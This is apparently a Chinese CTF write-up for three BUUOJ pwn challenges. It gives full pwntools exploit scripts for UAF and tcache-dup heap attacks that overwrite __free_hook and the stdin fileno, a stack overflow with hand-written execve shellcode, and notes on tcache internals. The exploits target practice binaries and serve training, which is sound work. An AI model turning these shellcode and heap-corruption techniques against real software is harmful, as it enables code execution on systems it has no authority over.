CISCN-BUU刷题记录2

1.ciscn_2019_es_1:UAF,tcache dup,比较常规,泄露地址,打free_hook。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
# -*- coding:UTF-8 -*-
from pwn import *
from LibcSearcher import *
#context.log_level = 'debug'

#context
context.arch = 'amd64'
SigreturnFrame(kernel = 'amd64')


binary = "./ciscn_2019_es_1"
#libc_file = "/lib/x86_64-linux-gnu/libc-2.27.so"
#libc_file = ""

#libcsearcher use
'''
obj = LibcSearcher("fgets", 0Xd90)
libc_base = fgets-obj.dump('fgets')
system_addr = libc_base + obj.dump("system") #system
binsh_addr = libc_base + obj.dump("str_bin_sh")
log.info("system_addr:0x%x"%system_addr)
'''

#malloc_hook,main_aren Find
'''
python2 LibcOffset.py libc-2.23.so
'''

#without stripped
'''
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
system_plt = elf.plt['system']
read_plt = elf.plt['read']
main_addr = elf.sym['main']
free_hook = libc_base + libc.sym['__free_hook']
system_addr = libc_base + libc.sym['system']
binsh_addr = libc_base + libc.search('/bin/sh').next()
'''


#usually gadget:
'''
u_gadget1 = elf.sym['__libc_csu_init'] + 0x5a
u_gadget2 = elf.sym['__libc_csu_init'] + 0x40
pop_rdi_ret = elf.sym['__libc_csu_init'] + 0x63
ret = elf.sym['__libc_csu_init'] + 0x64
'''


local = 0
if local:
p = process(binary)
#p = process(['/glibc/2.24/64/lib/ld-linux-x86-64.so.2', './hello'], env={"LD_PRELOAD":"/glibc/2.24/64/lib/libc-2.24.so"})
elf = ELF(binary)
#libc = ELF(libc_file)
else:
p = remote("node3.buuoj.cn","27956")
elf = ELF(binary)
#libc = ELF(libc_file)

sd = lambda s:p.send(s)
sl = lambda s:p.sendline(s)
rc = lambda s:p.recv(s)
ru = lambda s:p.recvuntil(s)
rl = lambda :p.recvline()
sa = lambda a,s:p.sendafter(a,s)
sla = lambda a,s:p.sendlineafter(a,s)

menu = "choice:"


def add(size, con, call):
sla(menu, "1")
sla("compary's name\n", str(size))
sa("name:\n", con)
sla("compary call:\n", str(call))

def delete(idx):
sla(menu, "3")
sla("index:\n", str(idx))

def show(idx):
sla(menu, "2")
sla("index:\n", str(idx))

#main_arena_off = 0x3ebc40

add(0x410,"A",123) #0
add(0x18,"B",123) #1
add(0x08,"/bin/sh\x00",123) #2

delete(0)
show(0)
ru("name:\n")
malloc_hook = u64(rc(6).ljust(8,"\x00")) - 96 - 0x10
obj = LibcSearcher("__malloc_hook",malloc_hook)
libc_base = malloc_hook - obj.dump("__malloc_hook")
log.info("libc_base:0x%x"%libc_base)
free_hook = libc_base + obj.dump('__free_hook')
system_addr = libc_base + obj.dump('system')
delete(1)
delete(1)
add(0x18,p64(free_hook),123) #3
add(0x18,p64(system_addr),123) #4
add(0x18,p64(system_addr),123) #5
delete(2)
pause()
p.interactive()

2.ciscn_s_9:这题有点意思,栈溢出长度比较短,但是还是够用来泄露地址然后ret2libc。除此之外题目中给了一个hint,可以直接借用jump esp这个gadget来手写shellcode,拉动esp上移到我们输入位置,这样就不再需要考虑到劫持ebp上挪之后的函数剩下的汇编代码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
# -*- coding:UTF-8 -*-
from pwn import *
from LibcSearcher import *

#context.log_level = 'debug'

#context
context.arch = 'i386'
SigreturnFrame(kernel = 'i386')

binary = "./ciscn_s_9"
#libc.so = "./libc-2.24.so"
#libc.so = ""

sd = lambda s:p.send(s)
sl = lambda s:p.sendline(s)
rc = lambda s:p.recv(s)
ru = lambda s:p.recvuntil(s)
rl = lambda :p.recvline()
sa = lambda a,s:p.sendafter(a,s)
sla = lambda a,s:p.sendlineafter(a,s)


#libcsearcher use
'''
obj = LibcSearcher("fgets", 0Xd90)
libc_base = fgets-obj.dump('fgets')
system_addr = libc_base + obj.dump("system") #system
binsh_addr = libc_base + obj.dump("str_bin_sh")
log.info("system_addr:0x%x"%system_addr)
'''

#malloc_hook,main_aren Find
'''
python2 LibcOffset.py libc-2.23.so
'''

#without stripped
'''
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
system_plt = elf.plt['system']
read_plt = elf.plt['read']
main_addr = elf.sym['main']
'''


local = 0
if local:
p = process(binary)
#p = process(['/glibc/2.24/64/lib/ld-linux-x86-64.so.2', './hello'], env={"LD_PRELOAD":"/glibc/2.24/64/lib/libc-2.24.so"})
elf = ELF(binary)
#libc = ELF(libc.so)
else:
p = remote("node3.buuoj.cn","26029")
elf = ELF(binary)
#libc = ELF(libc.so)

#sh has been in ELF
'''
sh_addr = 0x080482EA
payload = ""
payload += "A"*(0x48+0x4)
payload += p32(system_plt)
payload += p32(0x11111111) #paddding(system_plt ret addr)
payload += p32(sh_addr)
'''


#sh not in ELF
'''
payload = ""
payload += "A"*0x10
payload += p32(read_plt)
payload += p32(system_plt)
payload += p32(0x1) #fd
payload += p32(binsh_addr) #parameter
payload += p32(0x4) #n
payload += p32(binsh_addr)
'''

#leak addr
'''
payload1 = ""
payload1 += "A"*0x10
payload1 += p32(puts_plt)
payload1 += p32(main_addr)
payload1 += p32(puts_got)

payload2 = ""
payload2 = "A"*0x10
payload2 += p32(system_plt)
payload2 += p32(0x11111111) #paddding(system_plt ret addr)
payload2 += p32(binsh_addr)
'''

jump_esp = 0x08048554

shellcode= '''
xor ecx,ecx
xor edx,edx
push edx
push 0x68732f2f
push 0x6e69622f
mov ebx,esp
xor eax,eax
mov al,0xB
int 0x80
'''
shellcode=asm(shellcode)

payload = ""
payload += shellcode
payload = payload.ljust(0x24,"A")
payload += p32(jump_esp)
payload += asm("sub esp,40;call esp")

ru(">\n")
pause()
sl(payload)
pause()
p.interactive()

3.ciscn_final_2:这题真是最有意思了,调了我快一天。

(1)bool公用,dup free之前必须先申请。

(2)int_pt和short_int_pt全局。

(3)开了seccomp保护,但是最开始加载了flag,句柄fd设置为666。

▲漏洞在没有清空指令,可以UAF和tcache dup。先常规思考一下思路,UAF和tcache dup泄露堆地址,之后构造chunk进入unsortedbin中,泄露libc地址,然后利用堆块上残留的libc地址部分写覆盖_IO_2_2_stdin_结构体中的fileno为666,这样在choice>4就可以利用scanf来直接读取句柄fd中的内容,也就是flag,顺带打印出来。

其它不说,需要注意的也就是一个printf的格式化输出,泄露堆地址的时候用int接收,然后判断一下是否小于0,小于0则加上0x100000000即可。

主要说libc地址泄露和利用。这里利用部分堆地址进行一定堆布局,修改int_chunk的size为0x4b1,这里我弄大了,只要超过tcache最大限制即可。(然后我看网上常规思路都是填满大于fastbin的tcache,但是我嫌比较麻烦,就用了自己的方法,事实证明大佬的方法其实更有效,比较不容易出错)然后就比较坑爹了。

①由于只有部分libc地址,所以两个选择,一是爆破,0x7fxx——–,需要大概爆破一个字节,0xff次。二是利用chunk上残留的地址,结合tcache up和UAF直接改后面四个字节,直接申请到我们想要地方。这里用第二种方法

②但是最坑爹的就是,scanf申请堆块啊,具体不知道申请多大,但是程序中可以输入99个字符,调试了好久,指定会申请堆块。

③如果直接利用int_chunk上残留的libc地址,但是这时候int_chunk已经被放入到unsortedbin中,结合tcache up和UAF势必会修改int_chunk的fd,然后就会造成unsortedbin被破坏,再加上之后的scanf申请堆块,不会从0x20和0x30的tcache中申请,得,直接崩溃:

malloc(): memory corruption: 0x00007fae88dc8c10 ***\n”

④然后我又想到要不为scanf预留一个chunk到tcache中?这样就不会从unsortedbin中切割了。结果调好久没调出来,果断放弃。

⑤最后灵光一闪,想到干嘛不直接劫持tcache结构体,由于int_chunk被放入unsortedbin中,那么如果int_chunk也在tcache中,就可以使得tcache结构体中0x30链表上留下main_arena+96的指针了啊。这样再申请short_chunk到这里,直接修改指针,再申请int_chunk就会申请到我们修改的地方,这样就不会造成unsortedbin破坏。

▲看了大佬的,还是直接填满tcache省事,不破坏unsortedbin。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
# -*- coding:UTF-8 -*-
from pwn import *
from LibcSearcher import *
#context.log_level = 'debug'

#context
context.arch = 'amd64'
SigreturnFrame(kernel = 'amd64')


binary = "./ciscn_final_2"
#libc_file = "/lib/x86_64-linux-gnu/libc-2.26.so"
#libc_file = ""

#libcsearcher use
#32bit:malloc_hook = main_arena-0x18
#32bit:main_arena+56(unsortedbin_addr)
#64bit:main_arena+96(unsortedbin_addr)//88 aslo have
'''
malloc_hook = main_arena-0x10
obj = LibcSearcher("__malloc_hook", malloc_hook)
obj = LibcSearcher("fgets", 0Xd90)
libc_base = fgets-obj.dump('fgets')
system_addr = libc_base + obj.dump("system") #system
binsh_addr = libc_base + obj.dump("str_bin_sh")
log.info("system_addr:0x%x"%system_addr)
'''

#malloc_hook,main_aren Find
'''
python2 LibcOffset.py libc-2.23.so
'''

#without stripped
'''
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
system_plt = elf.plt['system']
read_plt = elf.plt['read']
main_addr = elf.sym['main']
free_hook = libc_base + libc.sym['__free_hook']
system_addr = libc_base + libc.sym['system']
binsh_addr = libc_base + libc.search('/bin/sh').next()
'''


#usually gadget:
'''
u_gadget1 = elf.sym['__libc_csu_init'] + 0x5a
u_gadget2 = elf.sym['__libc_csu_init'] + 0x40
pop_rdi_ret = elf.sym['__libc_csu_init'] + 0x63
ret = elf.sym['__libc_csu_init'] + 0x64
'''


local = 1
if local:
p = process(binary)
#p = process(['/glibc/2.24/64/lib/ld-linux-x86-64.so.2', './hello'], env={"LD_PRELOAD":"/glibc/2.24/64/lib/libc-2.24.so"})
elf = ELF(binary)
#libc = ELF(libc_file)
else:
p = remote("node3.buuoj.cn","29139")
elf = ELF(binary)
#libc = ELF(libc_file)

sd = lambda s:p.send(s)
sl = lambda s:p.sendline(s)
rc = lambda s:p.recv(s)
ru = lambda s:p.recvuntil(s)
rl = lambda :p.recvline()
sa = lambda a,s:p.sendafter(a,s)
sla = lambda a,s:p.sendlineafter(a,s)

menu = "which command?\n> "


def add(Type, con):
sla(menu, "1")
sla(">", str(Type))
sa("your inode number:", con)

def delete(Type):
sla(menu, "2")
sla(">", str(Type))

def show(Type):
sla(menu, "3")
sla(">", str(Type))

def exit(con):
sla(menu,"4")
#sa("at last?\n",con)


add(1,"B")
delete(1)

for i in range(0,5):
add(2,"A")
delete(1)

show(1)
ru("type inode number :")
heap_low_four = int(ru("\n"))
if(heap_low_four<0):
heap_low_four += 0x100000000
log.info("heap_low_four:0x%x"%heap_low_four)

for i in range(0,3):
add(1,str(heap_low_four))
delete(2)

add(2,str(heap_low_four-0x10))
add(2,str(heap_low_four-0x10))
add(2,str(0x4b1))

#fill
for i in range(0,32):
add(2,str(0x51))

delete(2)
add(1,str(heap_low_four))
add(1,str(heap_low_four))
delete(1)
show(1)
ru("type inode number :")

malloc_hook = int(ru("\n"))- 96 - 0x10
obj = LibcSearcher("__malloc_hook", malloc_hook)

libc_base_four = malloc_hook - obj.dump('__malloc_hook')
if(libc_base_four<0):
libc_base_four += 0x100000000
heap_base = heap_low_four-0x260
log.info("libc_base_four:0x%x"%libc_base_four)
__IO_2_1_stdin_fileno_addr = libc_base_four+obj.dump("_IO_2_1_stdin_")+0x70

add(1,str(malloc_hook+0x10+96))
delete(2)
add(2,str(heap_base+0x50+0x8))
add(2,str(__IO_2_1_stdin_fileno_addr))
add(2,str(__IO_2_1_stdin_fileno_addr))
add(1,str(666))

pause()

p.sendline("4")
p.interactive()

这里我都是int_chunk拿来泄露地址和利用,short_chunk来打辅助。

★另外记录下tcache方面的,tcache根源在于tcache结构体,所以如果tcache的bin中如下:

0x20[]:chunkA->chunkA.fd=1

那么如果这时候申请chunkA的同时修改chunkA.fd=2,对于的tcache的bin中只会是:

0x20[]:chunkA.fd=1,而不是chunkA.fd=2,因为在malloc时就已经将chunkA.fd=1放到tcache结构体中了,再修改chunkA.fd是没有意义的,只能修改tcache结构体才行。

★还有tcache的cout字段一直是个谜,如果cout>7,tcache的max宏定义没有被改,那么释放后的chunk是不会进入对于的tcache的bin中。但是如果cout<7或者<0,是不会有其他影响的,只会看tcache结构体中对应bin的链表中是不是0x0。是就当没有,有数据则就有chunk在该bin中,不管cout是多少(<7),并且malloc或者free后会对cout对应加减。(不同libc版本好像又不太一样,具体调试)